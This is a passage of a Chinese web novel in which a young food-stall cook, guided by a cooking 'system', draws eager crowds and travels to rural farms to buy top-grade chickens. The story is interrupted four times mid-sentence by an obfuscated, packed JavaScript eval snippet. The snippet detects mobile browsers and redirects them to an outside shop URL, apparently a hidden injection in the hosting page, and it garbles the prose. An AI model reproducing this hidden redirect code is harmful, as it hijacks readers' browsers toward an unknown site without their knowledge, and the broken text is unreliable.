时常里面多是冷冻的，最后选了半天，最好的也就是速冻，最高评价只有良。对于对美食有严格至极美味追求的系统来说，大概是真的无法忍耐。 不过接受之后，梵挽又讨价还价。 “系统，你看要不你把奖励提前给我？一会要出摊的，我一下找不到好的鸡腿肉。 上次年会288的大超市，绕了一圈，那些大鸡腿你也不满意啊，说肉质太寡淡和干硬了，还不如菜市场的。 这一时半会儿这个任务我肯定完不成，这样配方先给我。我周六出去一趟，去外面给你找找。” 系统既然不爱要冷冻或者冷鲜的，梵挽觉得这几天查一下哪里有养殖基地，然后再去各地乡下看看，直接亲自去选，一定找出让系统满意的。 【......三味浸香汁配方已发放。】 梵挽高兴的一下跳起来，“不愧是我的系统，合作愉快。” 系统不言。 梵挽把煮好的肉先拿出去晾凉，蒸上大锅饭后就出去了一趟。这个三味浸香汁，有些东西需要去买一下，他家里没有。 风风火火跑回来的时候，梵挽就迫不及待了。 梵挽做菜的时候很认真，按照系统给的凉拌番薯叶食谱，首先开始清理番薯叶的茎部，较为粗糙老的部分不要，否则影响口感。 然后再把茎秆与叶片分开，因为两者焯水时间不同，不分开会导致要么叶片时间过长，要么茎秆时间过短，影响口感。 梵挽忙碌的时候，锅里已经烧好了热水。 “茎秆快速焯水两分钟，然后叶子一分钟，取出后马上过冷水，以此保持绿叶菜的色泽继续鲜绿。” 哗啦啦的冷水从大漏勺中穿过，然后就是装盘和料汁混合。 蒜末、小米椒、生抽...还有各种零碎小料混杂倒入其中，再倒上混杂了蒜香和白芝麻香气的热油，彻底激发香气。 梵挽又看了一眼食谱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15993284|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>上面显示这个凉拌菜的最适宜温度是十到十五度，冷藏个十分钟左右后拿出来吃，口感更好。 梵挽在大盆里面覆盖上保鲜膜，然后麻溜放进了冰箱冷藏。 剩下还有一点其他野菜，虽然系统说三味浸香汁不是很适合用来拌这个菜，因为一菜一食谱，通用就意味着口感适中，不符合系统对每个菜推演到极致的设定，可梵挽觉得可以了。 这个野菜焯水后有点苦，梵挽特意加了盐去一点苦味，然后和番薯叶一样如法炮制。系统对这个拌菜就和对香菇滑鸡饭一样不是很满意，但梵挽依旧美滋滋地放入冰箱冷藏。 下午四点二十分，梵挽开着餐车准时出发。 实话说，想到中午这么多人，梵挽还有点不好意思的忐忑。果然他餐车开得稍微近一点，就看到了远比中午多的人。 很多人晚上还是会出来散步，加上晚上出来摆摊的人一下就多了起来，也会带动客流量。 梵挽还没凑近呢，就听到有个响亮的声音喊：“各单位准备！饭碗老板已到！” 好吧，梵挽听出了这个声音的主人，就是那个上帝之狼。 晚上怎么也比大中午凉快一点，那个上帝之狼一喊，不少人直接冲了过来。 梵挽哪里还敢开那个餐车，而是抓紧路边停下喊：“大家别挤，这样把外面的路全堵住了，会引来城管的。” 现在摆摊属于不严抓你，但也不算光明正大。就是睁一只眼闭一只眼，但你们也不能过分啊。大路上肯定不行，会影响交通。 上帝之狼还挺会来事，马上就喊：“让让，让让，让饭碗老板进到里面去。” 一边说一边又对着梵挽喊：“饭碗老板，我提前来了，和小伙伴给你占了个好位置，你车开进去，嘿嘿。” 这里晚上摆摊的人多，天稍微黑一点，那些卖凉鞋的或者摆点小饰品的就把地方给占了。 四五点来，一般就没什么好位置了。 “啊？”梵挽都下意识看了那个上帝之狼一眼。 他车开进去，果然看到大路往右边拐弯的地方，那条路的两边都是那种一楼临街的铺子，然后前面的空地上一般都会被占了。 但今天，才拐弯的路口，五六个人一直站在一个位置上，导致有些摊主来了也不能摆。 梵挽一来，这些人立马散开。 “饭碗老板，快快，就是这里。”上帝之狼殷勤得很。 梵挽尴尬地被半推着那边车停好，他就看到一群人全一下跟饿虎扑食一样围了上来。 “老板老板，快快，给我先来一份回锅肉饭。” “老板，我要番茄鸡蛋饭。” “老板，老板。” 岳华和他老婆崔苗也挤在人群里，他知道昨晚推荐后梵挽的小摊会爆火，以前他推了谁基本都会这样。不过大多不能长久，但持续个几天，老板赚点钱问题不大。只是没想到，今天比以往他推荐后，粉丝去老板那边的热情度还要大。 岳华倒是能眯出来不同。 以前那些推荐，大家本着好奇心去的，就是跟随主播打卡。 但梵挽确实有真材实料，估计不少人中午来吃过了，晚上再来就更热切了。 他其实也馋得很。 本来中午就要来，但有点事耽误了，谁知道晚上又来迟了。 11. 这份凉拌菜无敌了 梵挽被人群吵嚷声喊的压根不知道该应谁，但怕太多人拥挤容易出事。于是餐车一停好就整个人往前走了几步，着急忙慌喊：“大家往后退一退，我这里有炉子，大家挤到了容易出事。” “都听饭碗老板的，大家往后挪，排队，都排队。” 这声嗓门大，梵挽立马就注意对方，是那个上帝之狼上窜下跳的在应和他，不知道的以为是他员工。 这会儿岳华也赶紧摘了口罩出来，“大家冷静一点，排排队排排队。” 他还是很有辨识度的，真出来吆喝了，马上被里面不少的粉丝认了出来。 “华子！” “哈哈哈，胖子也来了，我就说他得来，昨晚看他直播间吃的那样。” “主播主播，今天要买老板的香菇滑鸡饭和番茄盖饭去测试吗？” “苗苗呢，华子，苗苗姐在附近吗？” “主播，今天恕我不能让你了。饭碗老板一共就六十几份，美食当前，咱们六亲不认。” “......” 这边热闹得很，不少其他摆摊的摊主都把视线投了过来。 其实有一两个摊子也有点不高兴，因为这边的位置好多都有点固定了。梵挽昨天才来，今天一下就摆在了街道拐弯口最好的位置，心里就不乐意。 可他这会儿人多，一时半会儿就算不高兴，也不敢上去评理。 梵挽也没空注意别的摊主的神情，只是看那些热情的食客在上帝之狼和岳华的劝解下，大多排起了队，他才松了口气。 “谢谢大家。”梵挽有些不好意思地喊了声，“那个...我准备的还是和中午差不多就六十份，太后面的人就别排了。” 喊完，梵挽也不看队伍，更不听那些或者抱怨或者央求的话，直接就问第一个食客要什么。 “老板，一份回锅肉饭，一份番茄鸡蛋饭。” 声音有一点熟悉，梵挽一抬头，发现竟然是姚梦。他记得对方，是因为中午她和她老公戴博多喝一碗萝卜大骨头汤，还额外给他扫了一百块钱。 梵挽对这个事印象深刻。 姚梦看梵挽记得她，顿时笑道：“我和我老公没走，我们下午别的地方逛了逛，三点不到点就来这里等老板你了。” 梵挽不擅长和不是很熟的人聊天，所以只是低头应了声，直接起锅烧油，热火朝天地做起了回锅肉翻。 很快，两份盖饭出餐。 “拿好，今天送两份凉拌菜。” 凉拌菜梵挽在家就分好了，装在小的打包盒里面。这个就不让大家免费自取了，因为有一点考验人性了。 汤还好，但这个凉拌菜梵挽试过，特别开胃下饭。要是和汤一样自己随便拿，回头打包盖饭的人索性打包个满满一盒呢？或者现场只是买一份盖饭，然后几个人无限续米饭外加凉拌菜，就这样哐哐吃，到时梵挽也说不了什么。 这个凉拌菜本来就是送的，他还是希望更多的食客都能尝一尝。 姚梦接过打包盒，走到一边笑道：“老板，中午送汤，晚上送凉拌菜，你就不怕亏本啊。” 赚肯定是赚的，但是她也看得出来，梵挽的食物用料都已经是能找到的最好的了。对一个小餐车摆摊的人来说，已经够可以了。加上他这手艺，理论上价格再贵一点也是可以的。 梵挽不说话，只是闷着头做盖饭。 姚梦不在意笑了笑，有真本事的人有点傲气正常。 她和戴博两个人丁克，家里开着公司资产不少。俩人不养孩子，也就没了这项大头消费。旅游什么早些年也都玩够了，之后就爱上了吃的，然后天南海北找吃的。 之前有个私房菜的老板还要傲气，不能点菜，食客吃什么要看他心情，给什么吃什么，她和戴博都没说什么。 姚梦一扭头，就注意到好几个食客都在悄悄看她手里的饭。 不少看队伍就知道买不到了，但是也不走，反而还是聚在四周，就想看看买到的人对食物的评价。 大家好奇嘛。 有的就算中午吃过了，也不肯走，这种是纯谗。 姚梦一乐，刚好戴博这时候拿了两杯奶茶走了过来。他刚刚手机没电了，附近一下没找到充电宝，他不想走远，只能就近找了个奶茶店，让他们帮忙充一会儿。 戴博看到姚梦手里的食物，立马接过，“有新的菜品？” “不是呢，老板送的。” 旁边等着评价的不少食客顿时喊，“哥，这里试试看？我这儿来迟了，肯定挨不上六十份。” “哈哈，对，我们现场蹲评价。” “胖子那天直播间吃得太香了，我中午没空，下了班特意公交车绕过来的。我是真好奇，真这么好吃吗？” 不少人起哄，戴博这人也好说话。 他左右看了看，找了快空一点的地方，立马就把其中一份凉拌菜拿了出来。 姚梦笑着摇了摇头，“就放在这个石墩子上吃吧。” 俩人也算是不大不小的老板，结果现在各自坐在一个石墩子上被人围着观看吃饭。 话是这么说，姚梦和戴博还真有点想要马上吃。 主要是中午的盖饭还有汤都很惊艳，这个凉拌菜还没正式吃，但是透过盒盖，里面的菜还保持着漂亮的绿色的色泽，看着很有胃口。 这次姚梦先下筷子。 她直接夹了一筷子，入口后，首先尝到的是微微的爽脆和几分草香。番薯叶根茎老的部分梵挽全部都处理掉了，所以入口只有细嫩的部分。 稍稍咀嚼，姚梦就感受了一点微末的蒜香，然后是混着一点拌料的咸、微酸中混杂的一两分回甘的甜，还有被辣椒和红油提起的辣。 但这种辣又和辛辣不同，甚至和梵挽回锅肉上的那种辣不同，这种辣混杂着料汁的香，直接就把味蕾给降伏了。 姚梦都顾不得和戴博说话，她直接又夹了一筷子送到嘴里，嘴巴里顿时发出轻微的咀嚼的脆响。 这也太好吃了。 这个凉拌菜一点没料太重过咸了或者料太轻没滋没味这种感觉，相反它出乎预料的完美混杂了酸脆辣，空口吃的话刚刚好，吃得压根停不下来。 戴博看姚梦吃得一口接一口，赶紧自己也跟上。 “这份凉拌菜无敌了！”千言万语，也只有这一句话才能表达了，“老板神了。” 一旁看的食客不少都开始吞口水了，“我去，现场版吃播，这好像真的好吃。” “那个...能不能给我吃一口？” 理论上呢，你要是要钱我不会给你，你要是饿了，我给你买饭菜没问题。 但问题是凉拌菜是送的，每一份的分量不太多。 戴博也是跑生意的，拒绝别人也好，答应别人也好，一点都不会尴尬地直接开口，“兄弟，你饿了我给你旁边的炒饭买一份。” 意思是这凉拌菜就不给你吃了。 几口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15993285|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来，一份凉拌菜就吃完了。 姚梦意犹未尽，还有一份一看也不够啊，她真感觉她想吃一大盆。 戴博自己吃的也是口水不断分泌，这菜不知道怎么做的，怎么这么开胃，吃起来脆生生的，弄得越吃越想吃。 而另外一边，梵挽还在一份份不断出餐，不少人也是现场吃。而且梵挽还注意到，有的人拿出手机在录一些食客现场吃的表情，大概也是要发一些网络平台。 同时在梵挽的对面，那个卖提拉米苏做直播的男生这会儿调转了摄像头，默默开始直播起梵挽的摊子。 他也没办法。 提拉米苏其实不太好卖，用料好了，一块也要二十五左右，当天卖不完的还要倒掉。 但这么贵的话，很多人就宁可去店里买。 他线下其实卖得很少，主要是直播，然后赚粉丝的打赏。还有就是线上粉丝喜欢的话，就是走预订的模式卖。 不过他直播一向人不多，每次大概都只有三十来个人。 但直播行业现在还是赚钱的，三十来个人来来回回的刷点礼物，然后凑齐了人，一个星期统一预订卖一批提拉米苏，一个月也能赚个四五千外快。 但刚刚他直播的时候，随口说起了今天人好多。而且不少食客找地方吃饭，也跑进了他的直播镜头里面。 很多人要看热闹么。 不知道怎么，直播间忽然人多了起来，好多人在刷弹幕。 【主播主播，你后面好多人，在吃什么好夸张。】 【刚刚朋友推荐给我这个主播，说有人吃得一脸夸张，就跟美食动漫吃到要飘起来一样，慕名而来。】 三十几个人，一下上升到五十几个的时候，男生心跳就快了起来。 他最好的一次直播，也才五十几个人。 后来直播间在十来分钟内，人数急速上升，一下竟然三四百个了。 他立马意识到，可能是因为他直播间在被人自来水推送，平台机制检测到后也顺势在给他做推流。 他直播小半年了，第一次被人刷出了一个很漂亮的特效打赏，直接两千八百八十八到账，他哪里见过这个，立马就感谢大哥大姐，一通乱说。 弹幕刷了起来。 【这里哪里？我好像看到岳华了。】 【我去，主播镜头转过去，转过去我继续刷礼物。】 【真的假的，那边是托吗？】 【兄弟们，姐妹们，我看主播的定位显示距离我一千多米，我现在就床上爬起来去看真假，等我消息。】 【快看，后面有人发钱就为了买别人手里的饭。】 【为什么不是我！！！啊啊啊，这个钱我要赚。】 男生看到直播间起哄的厉害，但人一多，给他刷礼物也零零散散的多，他真有点兴奋的不知所措，之前哪里赚过这么多。 梵挽没注意那边直播，但他这会儿确实卖得差不多了。然后就看到上帝之狼站在不远处，对着几个人就使用钞能力。 “哥们，你们刚刚帮我占位置，一人五百，我转了啊。” “还有，你们买到餐的人，卖我的话也是一人五百，有要卖的吗？” 上帝之狼笑得嘚瑟，“咱可不是强买强卖啊，有谁愿意吗？愿意的话我再加五百，一千一份。” 梵挽就看到还是有人马上递给了上帝之狼。 好家伙。 口罩之下，梵挽都有些一言难尽。 12.出门找食材去 梵挽多看了上帝之狼一眼，他忙碌了两个小时，最后的性价比还不如一个‘黄牛’？但这种事，他也不能说不让别人买不让别人卖吧。 一笔糊涂账。 梵挽摇了摇头，收拾东西呢，结果发现上帝之狼吃得大呼小叫，“饭碗老板，你这手艺真的绝了！” “老板，你有没有考虑开店啊？要是资金不够，我注资，到时候给我占一点分红就行，你看行不行？” “不用了。”梵挽现在不仅是热，关键还有很多食客还是围着他，一直七嘴八舌地想要他再做一点，他尴尬得不行，现在就想赶紧走了，根本无心和什么人搭话。 对梵挽来说，现在就想关上门，然后躺在自己那张熟悉的床上，才觉得浑身舒坦。 只是感觉自己说得这么干脆，又觉得是不是自己太冷漠了一点。 这个上帝之狼本身是好意，刚刚也一直在帮忙。大家萍水相逢，一个陌生人能帮他做刚刚那点事，怎么也要客气一点的。 “谢谢。” 沉默了会儿，梵挽又不尴不尬地僵硬补了一句。 上帝之狼倒是一脸无所谓，只是满口都是饭，所以声音囫囵，“哪儿的话，我不差钱。老板你回头同意了，随时招呼。” 梵挽也不答了，但这会儿那个岳华还有戴博都上来打招呼，一口一个老板叫着。 前者竟然想要梵挽和他一起直播一次，后者是想和梵挽打打关系，方便下次品尝美食嘛。 梵挽拒绝了岳华。 后者则是想起了那个一百块钱，只能硬着头皮寒暄了两声。 等他们一不注意，梵挽就麻溜上了餐车，“不好意思，我这卖完就先走了，大家别挤在这儿。” 这么多人挤挤攘攘的，也会影响一些路人正常行走。梵挽担心，回头真把城管招来。 梵挽走得坚定，那些食客拦都拦不住，有些只能喊，“老板，明天中午来不来啊？” 不少人也都是这么想的，不行就中午来，中午肯定比晚上人要少一点。 “来。” 梵挽的声音不远不近地传来，一直到把后面食客的那些声音渐渐听不清，梵挽才松了一大口气。 他不是不喜欢食客的热情，他只是有些不太适应。 岳华这些人还以为他大热天一直戴口罩是注意卫生，其实他是不好意思，太多人了。 这会儿摘了口罩，梵挽就感觉到一阵夜间的凉爽。 一回到院子，一楼的郑慧又在陪孩子跳绳，看到他就起来打招呼，“小碗，你这都卖了两天了，我看你次次都早去早回，卖得一点不剩，在哪儿摆摊呢？” 这没什么好隐瞒的。 “就前面，咱们这儿往前走，前面那个拆迁区前面一点的街上，好多人都在摆摊。” 郑慧想了想，笑道：“你这弄得我又想试试摆摊了，回头姐和你一起摆摊试试？” “行啊。” 郑慧一乐。 梵挽开始搬东西的时候，郑慧的老公孙大尚刚好从屋子里出来，顺手也帮梵挽搬，省得他走两趟。 这农民房又没电梯，三楼爬上爬下也累的。 忙了一通，梵挽把锅碗瓢盆都刷了，摸了摸那个宋陶瓷后，才一脸心满意足地躺在了床上。 按照目前的架势，他现在投入的成本只要一个月就能回本，还能小赚。至于今天上帝之狼说的开店，梵挽之前还没想过。 要是没有系统，梵挽也看出来了，摆摊并不容易。 就像是那里也有炒粉丝、炒饭的摊子，不额外加东西的话大概是十四五一份，加香肠、里脊或者鸡蛋什么一起炒，也就到个二十一份，一晚上生意其实也一般，倒是卖四块钱一根烤肠的老板生意更好一点。 现在生意这么好，再攒一点资本后确实可以开店。 再等等好了，他也不着急，不用借那个上帝之狼的钱，他们又不熟，梵挽不愿意搭这种人情。 想着这些事，洗漱完后，梵挽开了空调舒服地躺下。 夜晚很安静。 梵挽看着系统屏幕。 “晚安，恒星。” 系统没反应。 但梵挽睡了很不错的一觉。 之后一连两天，梵挽都这样摆摊。因为一直在练习刀工，现在刀工的熟练度又涨了二十。 不过也因为他练习刀工，这两天送的都是萝卜大骨头汤。 食客当时没吃腻，相反这个生意是越来越好。 连带本来中午没什么人的，但因为梵挽吸引了大批的食客，中午也开始有别的人过来摆摊，有客流量就有生意啊。 大家都很聪明。 很多人是来卖自制冷饮的，大中午热啊，很多人又提前排队不能走开，那冷饮刚好来一杯。 比如此时此刻，买到的食客还高兴的和梵挽搭几句话，去舀汤的时候更是开玩笑道：“今天的萝卜全是雕出来的花，碗饭老板好手艺啊。” “哈哈，那我要来一朵漂亮的。” 梵挽雕了不少形状的花卉，萝卜泛着一点晶莹色一朵朵的漂浮在骨头汤中，还挺有几分雅趣的。 这两天，梵挽一直能看到姚梦夫妻，岳华也会偶尔来一次，甚至梵挽有点印象的那个安乐心还带着自己的姐妹来了两次。 “老板，你是不知道，我就好你这口。我每次都开车一小时过来吃，我还给你推荐给我老板了，他说他明天也来吃。” 梵挽又在麻溜收拾东西了，闻言，赶紧开口，“明天是周六，我休息，到时候不来。” 梵挽想了想，除了刮风下雨，一周七天他至少要固定给自己放假一天。 虽然食客满意他做的东西，他会有很大的满足感，但这不意味着他一年三百六十五天都要在炒菜吧，这也太卷了，他受不了。 他一这样说，那边立马就有人喊：“啊！！！老板，没有你的回锅肉盖饭，我的午饭、晚饭怎么办！？我不能没有你啊。” “对啊，老板，老板，老板。” “不要啊！！！” 现在这群食客真的都是老客户了，虽然也有一部分是刚刚慕名而来。但反复几次来吃，还是念念不忘这口回锅肉的，是真的还没吃厌。 这两天都快要吃习惯了。 梵挽这盖饭的手艺是真的好，虽然菜品一直重复，偶尔也想着吃点别的。可别的外卖一点，那味道...顿时觉得还不如一直吃同一份盖饭。 “我要出去找食材，回来可能会上新菜。”梵挽听这些食客鬼哭狼嚎的，实在是盛情难却，还是解释了一句。 “这算什么，这算老板对我们的安抚吗？” 梵挽一回头，就看到上帝之狼从人群里面钻出来，一手拿着汤咣咣喝，一手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16004842|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举着一份香菇滑鸡饭，满脸的自来熟。 梵挽怕这种人。 不过这两天梵挽也多少知道了一点这个上帝之狼的来头，也是他自己没什么隐瞒，别人好奇他这么有钱，于是一问他，他就简单说了。 他家挺有钱的，爸妈经营的那个企业说出来，很多人都听过，算是个超级富二代了。 不过他比较废，因为家里还有个姐姐，现在姐姐继承家业了。 本来家里也有点重男轻女，从他的本名叫陈家业也能看出几分，没想着他姐。谁知道他姐留学的时候，直接人工受孕。学业没落下不说，回国还直接带了两个孩子。 然后家里忽然发现，上帝之狼混账得很，等他成家立业也不知道是猴年马月。现在女儿上进，心心念念的下一代也直接有了，索性就随上帝之狼混去了。 他们家财产都分好了，公司产业还有股份什么全给他姐，他分到两栋商业楼，每年给他的租金就有两千来万。然后就是每个月的零花钱，还有年底的分红，反正这辈子吃喝是不愁了。 钱不缺，就要找乐子啊。 上帝之狼之前还养过女团播，他算是好大哥，不仅不需要维护，还反过来又做数据又帮忙打pk，每天都要投入小十万，主打一个自己开心。 这么打了四五个月，钱倒是无所谓，就是忽然觉得没意思就不玩了，现在他那个账号还很有名。 更早之前，又对钓鱼感兴趣，买了一屋子各种昂贵的鱼饵、钓竿，然后又没兴趣了，就专门弄了个房子放这些东西。 他兴趣一阵一阵的，感兴趣的时候不吝啬花钱。 前几天刚好对追梵挽的美食感兴趣，所以就和之前一样，兴致勃勃自顾自投入各种金钱。 人生么，玩起来。 “差不多吧。”梵挽也不想和上帝之狼深交做个朋友什么，只是嘀咕了声就上了餐车，也不顾有的食客还在劝他明天至少中午卖一次的话，直接麻溜跑了。 周六。 梵挽醒来得很早，之前没做餐饮车之前，他作息不太好。 但自从做了以后，因为赶早去买新鲜的菜，才几天时间，他的作息就掰正了回来，到点自动醒。 洗漱完，梵挽就打算出门。 他都已经查好了，周边几个县哪里有稍微大一点的养鸡场，现场让系统去挑挑看。实在没有，就再偏一点，去那种农村散养鸡让系统选选，总能选出合适的。 出门的时候，还看到了孙大尚。 “小碗你背个包？出去玩？” 梵挽点点头，“可能在外面住一晚。” 孙大尚善意提醒他，“小碗，你那摆摊的生意这么好。食客也会健忘的，你一天不去，搞不好客流量就会减弱不少，不去可惜了。现在有钱赚的话，这段时间就辛苦点好了。” 孙大尚觉得赚钱有时机的，时机来了，就在风口的时候猛猛赚，错过了这个机会，下次再遇到就难了。 梵挽却摇了摇头。 他知道他生意好的根本。 是系统调配出来的菜肴配方的极致美味，只要食物好吃，食客就不会少，别的不用太担心。 “孙哥，我走了。” 看梵挽走得没犹豫，孙大尚摇了摇头，“小年轻，不懂现在这个社会，很多东西就是赶个热度，热度可不会一直持续。唉，吃点亏就知道了。” 13.终于买到极优的鸡了 梵挽的第一站是桥义，它是临城一个区的村子里面。梵挽提前电话沟通过，养鸡的老板自己家有一片竹林山，就在竹林山中养的跑山土鸡。他们家支持生鲜寄送，也支持上门自己去挑满意的，沟通比较愉快。 梵挽先坐了地铁，之后再转公交，到了地方也上午十点多了。 “这就是咱们的鸡了，你们喜欢哪只，让我来抓或者自己抓都可以。” 梵挽到了后就发现不止他一个人来，现场还有十几个人也是来自己挑的。问了一下才知道，老板儿子自己在社交平台上运营账号，每天多多少少都会来一些客人。 “我们这儿的鸡都是从小养到大的，吃的都是米糠、大白菜、番薯、萝卜或者野菜什么的，几乎不喂饲料，所以鸡的话一般就三斤或者四斤。 那边还有公鸡，公鸡比母鸡贵一点。然后还有好几年的大阉鸡，价格都不一样。咱们这儿还有土鸡蛋卖，我妈自己还弄了一点咸鸡蛋，大家有需要也可以试试。”老板儿子穿着雨靴，看着年轻，但讲话做事都利索，看得出来这活干得很顺手。 梵挽看有的人已经进竹林自己去动手了。 他看了会儿，然后开口，“我也想自己抓。” 老板儿子笑道：“行，很多人来了都喜欢这样，就是小心点。母鸡一般性情比较温和，那边隔出来的公鸡区域，抓的时候当心点。” 每个进去抓，他都叮嘱一句，以防万一。 梵挽点点头，他抓鸡没什么经验，尤其竹林跑习惯的鸡，别提多少能折腾。有的人能抓到，那是因为他们两个人来的。一边堵，一边抓，梵挽就比较难办，只能偷偷求助系统。 “帮帮忙嘛。” 系统一点反应都没有。 但梵挽在继续抓一只鸡的时候，他忽然伸手的时候速度特别快，或者说是伸手抓的方向预判了鸡会逃跑的方向，一下就提留住了那只母鸡。 母鸡扑腾得厉害。 梵挽赶紧两手抓住它的翅膀，把它压在了原地。 他掂量了一下，这母鸡两三斤肯定有。 【杂交土鸡，一年零三个月生，两斤半，竹林跑地鸡。检测母鸡肌肉纹理稍许松散，脂肪含量较高，饲料掺杂喂养导致。】 梵挽一愣，没想到这老板儿子为人看着挺实诚，但没讲真话。 鸡应该确实是竹林养的，但平时不是纯粹的土养。 也是，这满山的鸡要是全用米糠或者番薯什么，消耗量也大，肯定是饲料方便。加上梵挽看了看，这里客流量不错，现在还陆续有买的人被带上山，外加老板还有快递发货。 这要是一点饲料不用，鸡的生长就跟不上了。 用饲料才长得快。 梵挽放开了手里的母鸡，拍了拍手出来。 老板儿子问他，“老板，怎么不抓了？” 梵挽摇了摇头，“我想了想，今天就不买了，回头再来。” 老板儿子回过了一点味儿，看了看其他客人，小声道：“没事儿，下次再来。我们村风景还好的，您逛逛，就当出来玩了，一会儿我再送您几斤鸡蛋，拿去吃。” 都是人精，他怕梵挽闹起来。 梵挽本来也没想着一次就成，所以是查了好几个地方的。顿时和老板摆摆手，拎起自己放在外面的包，一边掏出一个能量棒吃，一边就走。 刚刚让系统帮忙抓鸡消耗不少能量，肚子已经饿得咕咕叫了。 下一站是一个叫远山乡的地方，出临城了，在隔壁市的乡下，梵挽临时买的高铁票。 还好不是什么特殊节假日，票还有。 梵挽有些感叹，他这也算是特种兵出行了。 到远山乡的时候，是下午两点多。 这回是梵挽自己找过去的，见到的人是一个有点驼背的老爷爷。问了一下才知道，老爷子身体不好，自己就捣鼓一点鸡养，他在后山养了四五十只。 他自己是没销路的，以往就是隔几天抓一只到县里去卖，赚给吃饭钱和药钱。但他孙女觉得他卖得太便宜了，而且销量不好，就想帮帮他，所以发了一些帖子。 梵挽就是刷到这个自荐卖鸡肉的帖子，留了联系方式才来的。 老人听说是他孙女找的客人，挺热情。 “都在山上。”老人拿了个铁盆咚咚的敲，那些鸡就乱七八糟的从山上飞下来，这比圈在竹林的那些鸡看起来还活跃。 “这只。” 老人抓鸡挺顺手，直接抓了一只离他脚边最近的。 梵挽一接手，系统有关鸡的消息就传来。 【草鸡，两年零四个月生，三斤三两，山地跑地鸡。检测母鸡毛色略带棕色，爪子粗壮带泥，肉质紧实，饲料喂养较少，评价优。】 这次这个鸡比之前的竹林鸡多了评价，可见这个鸡算是入了系统的眼了。 可惜不算极优，应该是老人在冬天缺少菜叶、野菜这些东西的时候，也喂养了一些饲料。 不过有个优就可以了，可以要一些。 “爷爷，这个鸡多少钱一斤？” 竹林那边母鸡是四十一斤，公鸡是四十五，大阉鸡七十五，不知道这里怎么卖。 老人直接伸手比了个二，“二十一斤，行不行？” 昨天他孙女也和他打过电话，说要他把价格稍微叫得高一点，所以叫了二十。 村里人自己都养几只，来买的少。 他带着鸡去县里，有时候路边一蹲也好久，遇到的人几乎都会讲价。 看梵挽自己上门来买，叫二十他神情还有些羞愧，所以补了一句，“可以送你鸡蛋。” 他鸡蛋吃不完，都放在了缸里。 “算三十吧，我要十只，以后需要了我经常来。”这个价格还算公道的，甚至他还占了一点小便宜。 “...谢谢，谢谢......”老人都不知道说什么，就帮忙梵挽抓鸡。 梵挽说他要杀好的，清空内脏就好，他自己带了那种打包的塑料袋还有小的抽气泵。 来之前，他本来就打算找不好就农家一只只买，都是做足了准备的。 老人杀鸡是有一手，专门给梵挽挑了那种年岁长的，然后手起刀落。 有只母鸡竟然是三年多了，四斤多，一肚子的卵黄。十只鸡中，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16011148|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只竟然还得到极优的评价。 意外之喜，这可把梵挽高兴的。 不需要的都扔掉，鸡肠、鸡胗、鸡心这些也都被洗干净，然后单独放进真空袋，最后满满的两大箱。 梵挽特意取了一些现金，现在全用上了。 老人拿了钱，一定要送梵挽一大袋的鸡蛋，梵挽真是不太方便拿，最后还是被塞了四五斤。 万幸老人家里有个破旧的推车，平常是他用来搬饲料的，现在拿来给梵挽用。 “别别，您不用帮我，这俩大箱子我自己搬就行，村口那儿我有朋友在等我。” 梵挽哪里有什么朋友，拉着推车走远了一点就猫到了一个角落，直接对着系统喊：“系统系统，交任务了。” 那只极优鸡先消失，然后又消失五只，给梵挽剩下了四只。 梵挽看着系统版面讨好地笑了笑，“系统，商量一下，你把剩下的都先收起来，等我回去了再拿出来给我，行不行？” 系统可是有着极其优秀的保鲜功能，可惜就是它不储存能够呼吸的活物，这是它唯一的Bug。 这么热的天，系统没法带活物，梵挽也没法带，鸡很容易热死或者生病，但杀完的死鸡这么带回去也不行，容易变质。 “系统你想，我是要做极致完美香菇滑鸡饭的，这食材不能有一点不新鲜，你说是不是？” 剩下四只鸡还有那些鸡蛋、鸡肠什么都消失了。 梵挽乐了。 “还得是系统，我们真是完美搭档。” 系统的版面又没什么文字浮现了，梵挽也不在意。 稍等又等了会儿，梵挽把推车拉回去还给了那位老爷爷。 到村里，梵挽是真临时叫了个车来的。司机也不想空车回县里，所以愿意等等梵挽。 